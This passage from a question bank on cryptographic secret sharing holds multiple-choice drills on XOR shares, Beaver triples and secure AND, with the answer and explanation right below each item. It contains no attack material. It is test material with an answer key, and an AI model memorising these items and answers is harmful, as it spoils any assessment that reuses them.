Lecture source: p. 37

Q138. [Calculation] Boolean sharing drill 8: shares are $a_1=1$ and $a_2=1$. What is a ?

- A. $a_1 + a_2 = 2$
- B. Undefined
- C. 1
- D. 0

Answer: D. 0

Why: $a = a_1 \text{ XOR } a_2 = 1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q139. [Calculation] Boolean sharing drill 9: shares are $a_1=0$ and $a_2=0$. What is a ?

- A. $a_1 + a_2 = 2$
- B. Undefined
- C. 1
- D. 0

Answer: D. 0

Why: $a = a_1 \text{ XOR } a_2 = 0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q140. [Calculation] Boolean sharing drill 10: shares are $a_1=0$ and $a_2=1$. What is a ?

- A. $a_1 + a_2 = 2$
- B. 1
- C. Undefined
- D. 0

Answer: B. 1

Why: $a = a_1 \text{ XOR } a_2 = 0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q141. [Calculation] Boolean sharing drill 11: shares are $a_1=1$ and $a_2=0$. What is a ?

- A. $a_1 + a_2 = 2$
- B. 1
- C. 0
- D. Undefined

Answer: B. 1

Why: $a = a_1 \text{ XOR } a_2 = 1 \text{ XOR } 0 = 1$.

Lecture source: p. 37

Q142. [Calculation] Boolean sharing drill 12: shares are $a_1=1$ and $a_2=1$. What is a ?

- A. 0
- B. 1
- C. $a_1 + a_2 = 2$
- D. Undefined

Answer: A. 0

Why: $a = a_1 \text{ XOR } a_2 = 1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q143. [Calculation] Missing-share drill 1: secret $a=0$ and share $a_1=0$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 0
- B. No such bit exists
- C. 2
- D. 1

Answer: A. 0

Why: $a_2 = a \text{ XOR } a_1 = 0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q144. [Calculation] Missing-share drill 2: secret $a=0$ and share $a_1=1$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 0
- B. 2
- C. No such bit exists
- D. 1

Answer: D. 1

Why: $a_2 = a \text{ XOR } a_1 = 0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q145. [Calculation] Missing-share drill 3: secret $a=1$ and share $a_1=0$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 2
- B. 1
- C. No such bit exists
- D. 0

Answer: B. 1

Why: $a_2 = a \text{ XOR } a_1 = 1 \text{ XOR } 0 = 1$.

Lecture source: p. 37

Q146. [Calculation] Missing-share drill 4: secret $a=1$ and share $a_1=1$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 2
- B. 1
- C. 0
- D. No such bit exists

Answer: C. 0

Why: $a_2 = a \text{ XOR } a_1 = 1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q147. [Calculation] Missing-share drill 5: secret $a=0$ and share $a_1=0$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 0
- B. 2
- C. 1
- D. No such bit exists

Answer: A. 0

Why: $a_2 = a \text{ XOR } a_1 = 0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q148. [Calculation] Missing-share drill 6: secret $a=0$ and share $a_1=1$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 1
- B. No such bit exists
- C. 0
- D. 2

Answer: A. 1

Why: $a_2 = a \text{ XOR } a_1 = 0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q149. [Calculation] Missing-share drill 7: secret $a=1$ and share $a_1=0$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. No such bit exists
- B. 2
- C. 1
- D. 0

Answer: C. 1

Why: $a_2 = a \text{ XOR } a_1 = 1 \text{ XOR } 0 = 1$.

Lecture source: p. 37

Q150. [Calculation] Missing-share drill 8: secret $a=1$ and share $a_1=1$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 2
- B. 0
- C. 1
- D. No such bit exists

Answer: B. 0

Why: $a_2 = a \text{ XOR } a_1 = 1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q151. [Calculation] Missing-share drill 9: secret $a=0$ and share $a_1=0$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 2
- B. No such bit exists
- C. 1
- D. 0

Answer: D. 0

Why: $a_2 = a \text{ XOR } a_1 = 0 \text{ XOR } 0 = 0$.

Lecture source: p. 37

Q152. [Calculation] Missing-share drill 10: secret $a=0$ and share $a_1=1$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 0
- B. 1
- C. 2
- D. No such bit exists

Answer: B. 1

Why: $a_2 = a \text{ XOR } a_1 = 0 \text{ XOR } 1 = 1$.

Lecture source: p. 37

Q153. [Calculation] Missing-share drill 11: secret $a=1$ and share $a_1=0$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 1
- B. 0
- C. No such bit exists
- D. 2

Answer: A. 1

Why: $a_2 = a \text{ XOR } a_1 = 1 \text{ XOR } 0 = 1$.

Lecture source: p. 37

Q154. [Calculation] Missing-share drill 12: secret $a=1$ and share $a_1=1$. What must a_2 be so that $a=a_1 \text{ XOR } a_2$?

- A. 0
- B. 2
- C. No such bit exists
- D. 1

Answer: A. 0

Why: $a_2 = a \text{ XOR } a_1 = 1 \text{ XOR } 1 = 0$.

Lecture source: p. 37

Q155. [Calculation] Local-XOR drill 1: a is shared as $(0,1)$ and b as $(1,1)$. What secret is reconstructed after locally XORing corresponding shares?

- A. 0
- B. Cannot be determined
- C. A Beaver triple is required
- D. 1

Answer: D. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 1 \text{ XOR } 0 = 1$.

Lecture source: pp. 27-28, 37

Q156. [Calculation] Local-XOR drill 2: a is shared as $(1,0)$ and b as $(0,0)$. What secret is reconstructed after locally XORing corresponding shares?

- A. 1
- B. A Beaver triple is required
- C. 0
- D. Cannot be determined

Answer: A. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 1 \text{ XOR } 0 = 1$.

Lecture source: pp. 27-28, 37

Q157. [Calculation] Local-XOR drill 3: a is shared as $(1,1)$ and b as $(1,0)$. What secret is reconstructed after locally XORing corresponding shares?

- A. A Beaver triple is required
- B. 0
- C. Cannot be determined
- D. 1

Answer: D. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 0 \text{ XOR } 1 = 1$.

Lecture source: pp. 27-28, 37

Q158. [Calculation] Local-XOR drill 4: a is shared as (0,0) and b as (0,1). What secret is reconstructed after locally XORing corresponding shares?

- A. Cannot be determined
- B. 1
- C. 0
- D. A Beaver triple is required

Answer: B. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 0 \text{ XOR } 1 = 1.$

Lecture source: pp. 27-28, 37

Q159. [Calculation] Local-XOR drill 5: a is shared as (1,0) and b as (1,1). What secret is reconstructed after locally XORing corresponding shares?

- A. 1
- B. 0
- C. Cannot be determined
- D. A Beaver triple is required

Answer: A. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 1 \text{ XOR } 0 = 1.$

Lecture source: pp. 27-28, 37

Q160. [Calculation] Local-XOR drill 6: a is shared as (0,1) and b as (0,0). What secret is reconstructed after locally XORing corresponding shares?

- A. 0
- B. Cannot be determined
- C. 1
- D. A Beaver triple is required

Answer: C. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 1 \text{ XOR } 0 = 1.$

Lecture source: pp. 27-28, 37

Q161. [Calculation] Local-XOR drill 7: a is shared as (1,1) and b as (0,1). What secret is reconstructed after locally XORing corresponding shares?

- A. 0
- B. Cannot be determined
- C. 1
- D. A Beaver triple is required

Answer: C. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 0 \text{ XOR } 1 = 1.$

Lecture source: pp. 27-28, 37

Q162. [Calculation] Local-XOR drill 8: a is shared as (0,0) and b as (1,0). What secret is reconstructed after locally XORing corresponding shares?

- A. 1
- B. 0
- C. A Beaver triple is required
- D. Cannot be determined

Answer: A. 1

Why: $(a_1 \text{ XOR } b_1) \text{ XOR } (a_2 \text{ XOR } b_2) = a \text{ XOR } b = 0 \text{ XOR } 1 = 1.$

Lecture source: pp. 27-28, 37

6. Beaver triples and secure AND computation

58 questions. Answers appear immediately below each item.

Q163. [Single answer] Why does secure AND computation require more work than secure XOR under Boolean sharing?

- A. XOR requires all inputs to be public
- B. AND is not linear under XOR sharing, so additional protocol material such as a Beaver triple is used
- C. AND is impossible to compute
- D. AND always equals XOR

Answer: B. AND is not linear under XOR sharing, so additional protocol material such as a Beaver triple is used

Why: The lecture introduces Beaver triples specifically to enable AND or multiplication.

Lecture source: pp. 29-39, 49

Q164. [Single answer] What is a Boolean Beaver triple?

- A. Three identical copies of the secret input
- B. Three public passwords
- C. Random bits i , j , and k such that $k = i \text{ AND } j$
- D. A list of three network ports

Answer: C. Random bits i , j , and k such that $k = i \text{ AND } j$

Why: The triple is correlated preprocessing material.

Lecture source: pp. 31, 37-39

Q165. [Single answer] When are Beaver triples typically generated?

- A. Only when the output is deleted
- B. During a preprocessing phase before the online private-input computation
- C. Only after every secret has been publicly revealed
- D. During physical access control checks

Answer: B. During a preprocessing phase before the online private-input computation

Why: The triple can be prepared independently of the online secret values.

Lecture source: p. 39

Q166. [Single answer] During the online phase, which masked values are opened in the Boolean Beaver-triple method?

- A. i and j together with every share
- B. Only k , with no relation to a or b
- C. a and b directly
- D. $d = a \text{ XOR } i$ and $e = b \text{ XOR } j$

Answer: D. $d = a \text{ XOR } i$ and $e = b \text{ XOR } j$

Why: The random triple masks the private inputs before opening the differences.

Lecture source: p. 39

Q167. [Single answer] Why are $d = a \text{ XOR } i$ and $e = b \text{ XOR } j$ safe to reveal when i and j are fresh random bits?

- A. The inputs are already public
- B. The result is never reconstructed
- C. The randomness masks a and b
- D. d and e always equal zero

Answer: C. The randomness masks a and b

Why: Fresh random masks prevent d and e from disclosing the private inputs by themselves.

Lecture source: p. 39

Q168. [Single answer] Which formula reconstructs a AND b from a Boolean Beaver triple and opened masks $d=a$ XOR i and $e=b$ XOR j ?

- A. a XOR b XOR d XOR e
- B. i XOR j XOR k
- C. k XOR d XOR e
- D. k XOR $(d$ AND $j)$ XOR $(e$ AND $i)$ XOR $(d$ AND $e)$

Answer: D. k XOR $(d$ AND $j)$ XOR $(e$ AND $i)$ XOR $(d$ AND $e)$

Why: Expanding $(i$ XOR $d)$ AND $(j$ XOR $e)$ gives the Beaver-triple reconstruction formula over bits.

Lecture source: pp. 31-34, 39

Q169. [Comparison] What is the difference between preprocessing and the online phase?

- A. Preprocessing reveals all inputs; the online phase deletes them
- B. The phases are identical
- C. Preprocessing creates input-independent correlated randomness; the online phase uses it with actual private inputs
- D. Preprocessing is for network routing only

Answer: C. Preprocessing creates input-independent correlated randomness; the online phase uses it with actual private inputs

Why: Beaver triples separate offline correlated randomness generation from online input processing.

Lecture source: p. 39

Q170. [True / False] For a valid Boolean Beaver triple, k must equal i AND j .

- A. False
- B. True

Answer: B. True

Why: This correlation is the defining property of the triple.

Lecture source: pp. 37-39

Q171. [True / False] A Beaver triple can be safely reused for an unlimited number of independent private computations.

- A. True
- B. False

Answer: B. False

Why: Fresh correlated randomness is required; reuse risks leakage.

Lecture source: pp. 39, 49

Q172. [Misconception check] A developer proposes opening a and b directly instead of opening masked values. What is the problem?

- A. It makes AND more secure
- B. It defeats input privacy
- C. It creates a valid Beaver triple automatically
- D. It prevents the output from being calculated

Answer: B. It defeats input privacy

Why: The protocol opens only randomized masks, not the private inputs themselves.

Lecture source: p. 39

Q173. [Calculation] Beaver-triple validity drill 1: is $(i=0, j=0, k=0)$ a valid Boolean Beaver triple?

- A. Only if $a=1$
- B. Only if $b=1$
- C. No
- D. Yes

Answer: D. Yes

Why: A valid triple requires $k=i$ AND $j=0$; here $k=0$.

Lecture source: pp. 37-39

Q174. [Calculation] Beaver-triple validity drill 2: is $(i=0, j=0, k=1)$ a valid Boolean Beaver triple?

- A. Only if $a=1$
- B. Yes
- C. Only if $b=1$
- D. No

Answer: D. No

Why: A valid triple requires $k=i$ AND $j=0$; here $k=1$.

Lecture source: pp. 37-39

Q175. [Calculation] Beaver-triple validity drill 3: is $(i=0, j=1, k=0)$ a valid Boolean Beaver triple?

- A. Only if $b=1$
- B. Only if $a=1$
- C. Yes
- D. No

Answer: C. Yes

Why: A valid triple requires $k=i$ AND $j=0$; here $k=0$.

Lecture source: pp. 37-39

Q176. [Calculation] Beaver-triple validity drill 4: is $(i=0, j=1, k=1)$ a valid Boolean Beaver triple?

- A. No
- B. Only if $b=1$
- C. Only if $a=1$
- D. Yes

Answer: A. No

Why: A valid triple requires $k=i$ AND $j=0$; here $k=1$.

Lecture source: pp. 37-39

Q177. [Calculation] Beaver-triple validity drill 5: is $(i=1, j=0, k=0)$ a valid Boolean Beaver triple?

- A. Only if $a=1$
- B. No
- C. Yes
- D. Only if $b=1$

Answer: C. Yes

Why: A valid triple requires $k=i$ AND $j=0$; here $k=0$.

Lecture source: pp. 37-39

Q178. [Calculation] Beaver-triple validity drill 6: is $(i=1, j=0, k=1)$ a valid Boolean Beaver triple?

- A. Only if $b=1$
- B. No
- C. Yes
- D. Only if $a=1$

Answer: B. No

Why: A valid triple requires $k=i$ AND $j=0$; here $k=1$.

Lecture source: pp. 37-39

Q179. [Calculation] Beaver-triple validity drill 7: is $(i=1, j=1, k=0)$ a valid Boolean Beaver triple?

- A. Only if $b=1$
- B. No
- C. Only if $a=1$
- D. Yes

Answer: B. No

Why: A valid triple requires $k=i$ AND $j=1$; here $k=0$.

Lecture source: pp. 37-39

Q180. [Calculation] Beaver-triple validity drill 8: is $(i=1, j=1, k=1)$ a valid Boolean Beaver triple?

- A. Only if $b=1$
- B. No
- C. Yes
- D. Only if $a=1$

Answer: C. Yes

Why: A valid triple requires $k=i$ AND $j=1$; here $k=1$.

Lecture source: pp. 37-39

Q181. [Calculation] Masking drill 1: $a=0, b=0, i=0$, and $j=0$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=1, e=1$
- B. $d=1, e=0$
- C. $d=0, e=1$
- D. $d=0, e=0$

Answer: D. $d=0, e=0$

Why: $d=0 \text{ XOR } 0=0$; $e=0 \text{ XOR } 0=0$.

Lecture source: p. 39

Q182. [Calculation] Masking drill 2: $a=0, b=1, i=0$, and $j=1$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0, e=1$
- B. $d=1, e=0$
- C. $d=1, e=1$
- D. $d=0, e=0$

Answer: D. $d=0, e=0$

Why: $d=0 \text{ XOR } 0=0$; $e=1 \text{ XOR } 1=0$.

Lecture source: p. 39

Q183. [Calculation] Masking drill 3: $a=1, b=0, i=1$, and $j=0$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0, e=0$
- B. $d=1, e=1$
- C. $d=1, e=0$
- D. $d=0, e=1$

Answer: A. $d=0, e=0$

Why: $d=1 \text{ XOR } 1=0$; $e=0 \text{ XOR } 0=0$.

Lecture source: p. 39

Q184. [Calculation] Masking drill 4: $a=1$, $b=1$, $i=1$, and $j=1$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0$, $e=1$
- B. $d=1$, $e=0$
- C. $d=1$, $e=1$
- D. $d=0$, $e=0$

Answer: D. $d=0$, $e=0$

Why: $d=1 \text{ XOR } 1=0$; $e=1 \text{ XOR } 1=0$.

Lecture source: p. 39

Q185. [Calculation] Masking drill 5: $a=1$, $b=0$, $i=0$, and $j=1$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=1$, $e=1$
- B. $d=0$, $e=1$
- C. $d=1$, $e=0$
- D. $d=0$, $e=0$

Answer: A. $d=1$, $e=1$

Why: $d=1 \text{ XOR } 0=1$; $e=0 \text{ XOR } 1=1$.

Lecture source: p. 39

Q186. [Calculation] Masking drill 6: $a=0$, $b=1$, $i=1$, and $j=0$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0$, $e=1$
- B. $d=0$, $e=0$
- C. $d=1$, $e=0$
- D. $d=1$, $e=1$

Answer: D. $d=1$, $e=1$

Why: $d=0 \text{ XOR } 1=1$; $e=1 \text{ XOR } 0=1$.

Lecture source: p. 39

Q187. [Calculation] Masking drill 7: $a=1$, $b=1$, $i=0$, and $j=1$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0$, $e=1$
- B. $d=1$, $e=1$
- C. $d=1$, $e=0$
- D. $d=0$, $e=0$

Answer: C. $d=1$, $e=0$

Why: $d=1 \text{ XOR } 0=1$; $e=1 \text{ XOR } 1=0$.

Lecture source: p. 39

Q188. [Calculation] Masking drill 8: $a=0$, $b=0$, $i=1$, and $j=1$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0$, $e=1$
- B. $d=0$, $e=0$
- C. $d=1$, $e=1$
- D. $d=1$, $e=0$

Answer: C. $d=1$, $e=1$

Why: $d=0 \text{ XOR } 1=1$; $e=0 \text{ XOR } 1=1$.

Lecture source: p. 39

Q189. [Calculation] Masking drill 9: $a=1$, $b=0$, $i=1$, and $j=1$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0$, $e=0$
- B. $d=0$, $e=1$
- C. $d=1$, $e=1$
- D. $d=1$, $e=0$

Answer: B. $d=0$, $e=1$

Why: $d=1 \text{ XOR } 1=0$; $e=0 \text{ XOR } 1=1$.

Lecture source: p. 39

Q190. [Calculation] Masking drill 10: $a=0$, $b=1$, $i=0$, and $j=0$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0$, $e=0$
- B. $d=1$, $e=0$
- C. $d=0$, $e=1$
- D. $d=1$, $e=1$

Answer: C. $d=0$, $e=1$

Why: $d=0 \text{ XOR } 0=0$; $e=1 \text{ XOR } 0=1$.

Lecture source: p. 39

Q191. [Calculation] Masking drill 11: $a=1$, $b=1$, $i=1$, and $j=0$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=1$, $e=1$
- B. $d=1$, $e=0$
- C. $d=0$, $e=0$
- D. $d=0$, $e=1$

Answer: D. $d=0$, $e=1$

Why: $d=1 \text{ XOR } 1=0$; $e=1 \text{ XOR } 0=1$.

Lecture source: p. 39

Q192. [Calculation] Masking drill 12: $a=0$, $b=0$, $i=0$, and $j=1$. What are $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$?

- A. $d=0$, $e=1$
- B. $d=1$, $e=1$
- C. $d=0$, $e=0$
- D. $d=1$, $e=0$

Answer: A. $d=0$, $e=1$

Why: $d=0 \text{ XOR } 0=0$; $e=0 \text{ XOR } 1=1$.

Lecture source: p. 39

Q193. [Calculation] AND drill 1: $a=0$, $b=0$, and the Beaver triple uses $i=0$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 0
- B. Depends on an unshared key
- C. Undefined
- D. 1

Answer: A. 0

Why: $d=0$, $e=0$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q194. [Calculation] AND drill 2: $a=0$, $b=1$, and the Beaver triple uses $i=0$, $j=1$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Depends on an unshared key
- B. 1
- C. 0
- D. Undefined

Answer: C. 0

Why: $d=0$, $e=0$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q195. [Calculation] AND drill 3: $a=1$, $b=0$, and the Beaver triple uses $i=1$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 1
- B. Depends on an unshared key
- C. Undefined
- D. 0

Answer: D. 0

Why: $d=0$, $e=0$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q196. [Calculation] AND drill 4: $a=1$, $b=1$, and the Beaver triple uses $i=1$, $j=1$, $k=1$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 0
- B. 1
- C. Undefined
- D. Depends on an unshared key

Answer: B. 1

Why: $d=0$, $e=0$; the formula evaluates to 1, which equals $a \text{ AND } b=1$.

Lecture source: pp. 31-34, 39

Q197. [Calculation] AND drill 5: $a=1$, $b=1$, and the Beaver triple uses $i=0$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Depends on an unshared key
- B. 0
- C. 1
- D. Undefined

Answer: C. 1

Why: $d=1$, $e=1$; the formula evaluates to 1, which equals $a \text{ AND } b=1$.

Lecture source: pp. 31-34, 39

Q198. [Calculation] AND drill 6: $a=1$, $b=0$, and the Beaver triple uses $i=0$, $j=1$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 0
- B. 1
- C. Depends on an unshared key
- D. Undefined

Answer: A. 0

Why: $d=1$, $e=1$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q199. [Calculation] AND drill 7: $a=0$, $b=1$, and the Beaver triple uses $i=1$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Depends on an unshared key
- B. 0
- C. Undefined
- D. 1

Answer: B. 0

Why: $d=1$, $e=1$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q200. [Calculation] AND drill 8: $a=0$, $b=0$, and the Beaver triple uses $i=1$, $j=1$, $k=1$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Undefined
- B. Depends on an unshared key
- C. 0
- D. 1

Answer: C. 0

Why: $d=1$, $e=1$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q201. [Calculation] AND drill 9: $a=1$, $b=1$, and the Beaver triple uses $i=0$, $j=1$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 1
- B. 0
- C. Depends on an unshared key
- D. Undefined

Answer: A. 1

Why: $d=1$, $e=0$; the formula evaluates to 1, which equals $a \text{ AND } b=1$.

Lecture source: pp. 31-34, 39

Q202. [Calculation] AND drill 10: $a=1$, $b=0$, and the Beaver triple uses $i=1$, $j=1$, $k=1$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 0
- B. 1
- C. Depends on an unshared key
- D. Undefined

Answer: A. 0

Why: $d=0$, $e=1$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q203. [Calculation] AND drill 11: $a=0$, $b=1$, and the Beaver triple uses $i=0$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 1
- B. Undefined
- C. 0
- D. Depends on an unshared key

Answer: C. 0

Why: $d=0$, $e=1$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q204. [Calculation] AND drill 12: $a=0$, $b=0$, and the Beaver triple uses $i=0$, $j=1$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 1
- B. 0
- C. Undefined
- D. Depends on an unshared key

Answer: B. 0

Why: $d=0$, $e=1$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q205. [Calculation] AND drill 13: $a=1$, $b=1$, and the Beaver triple uses $i=1$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. 1
- B. Depends on an unshared key
- C. 0
- D. Undefined

Answer: A. 1

Why: $d=0$, $e=1$; the formula evaluates to 1, which equals $a \text{ AND } b=1$.

Lecture source: pp. 31-34, 39

Q206. [Calculation] AND drill 14: $a=1$, $b=0$, and the Beaver triple uses $i=0$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Undefined
- B. 0
- C. 1
- D. Depends on an unshared key

Answer: B. 0

Why: $d=1$, $e=0$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q207. [Calculation] AND drill 15: $a=0$, $b=1$, and the Beaver triple uses $i=1$, $j=1$, $k=1$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Undefined
- B. Depends on an unshared key
- C. 1
- D. 0

Answer: D. 0

Why: $d=1$, $e=0$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q208. [Calculation] AND drill 16: $a=0$, $b=0$, and the Beaver triple uses $i=1$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Undefined
- B. 0
- C. Depends on an unshared key
- D. 1

Answer: B. 0

Why: $d=1$, $e=0$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q209. [Calculation] AND drill 17: $a=1$, $b=1$, and the Beaver triple uses $i=0$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Depends on an unshared key
- B. 0
- C. 1
- D. Undefined

Answer: C. 1

Why: $d=1$, $e=1$; the formula evaluates to 1, which equals $a \text{ AND } b=1$.

Lecture source: pp. 31-34, 39

Q210. [Calculation] AND drill 18: $a=1$, $b=0$, and the Beaver triple uses $i=1$, $j=0$, $k=0$. Compute $d=a \text{ XOR } i$ and $e=b \text{ XOR } j$, then evaluate $k \text{ XOR } (d \text{ AND } j) \text{ XOR } (e \text{ AND } i) \text{ XOR } (d \text{ AND } e)$. What result is obtained?

- A. Depends on an unshared key
- B. Undefined
- C. 0
- D. 1

Answer: C. 0

Why: $d=0$, $e=0$; the formula evaluates to 0, which equals $a \text{ AND } b=0$.

Lecture source: pp. 31-34, 39

Q211. [Select all that apply] Which statements about Beaver triples are correct? Select all that apply.

- A. They can be generated in preprocessing
- B. For Boolean AND, $k=i \text{ AND } j$
- C. They help evaluate nonlinear operations such as AND
- D. They are correlated random values
- E. They require publishing the private inputs

Answer: A. They can be generated in preprocessing; B. For Boolean AND, $k=i \text{ AND } j$; C. They help evaluate nonlinear operations such as AND; D. They are correlated random values

Why: Beaver triples provide correlated randomness for secure multiplication or Boolean AND without revealing the inputs.

Lecture source: pp. 37-39, 49

Q212. [EXCEPT / NOT] Which is NOT a correct property of opened masks d and e in the Beaver-triple method?

- A. They can be opened during the online phase
- B. They are derived from private inputs and random masks
- C. Fresh masks are important for privacy
- D. They are identical to the raw private inputs in every execution

Answer: D. They are identical to the raw private inputs in every execution

Why: The masks randomize the inputs.

Lecture source: p. 39

Q213. [Scenario] A protocol engineer needs secure multiplication of shared values. Which concept from the lecture should be investigated first?

- A. Beaver triples
- B. Packet fragmentation
- C. DNS spoofing
- D. URL shorteners

Answer: A. Beaver triples

Why: Beaver triples enable efficient secure multiplication and Boolean AND.

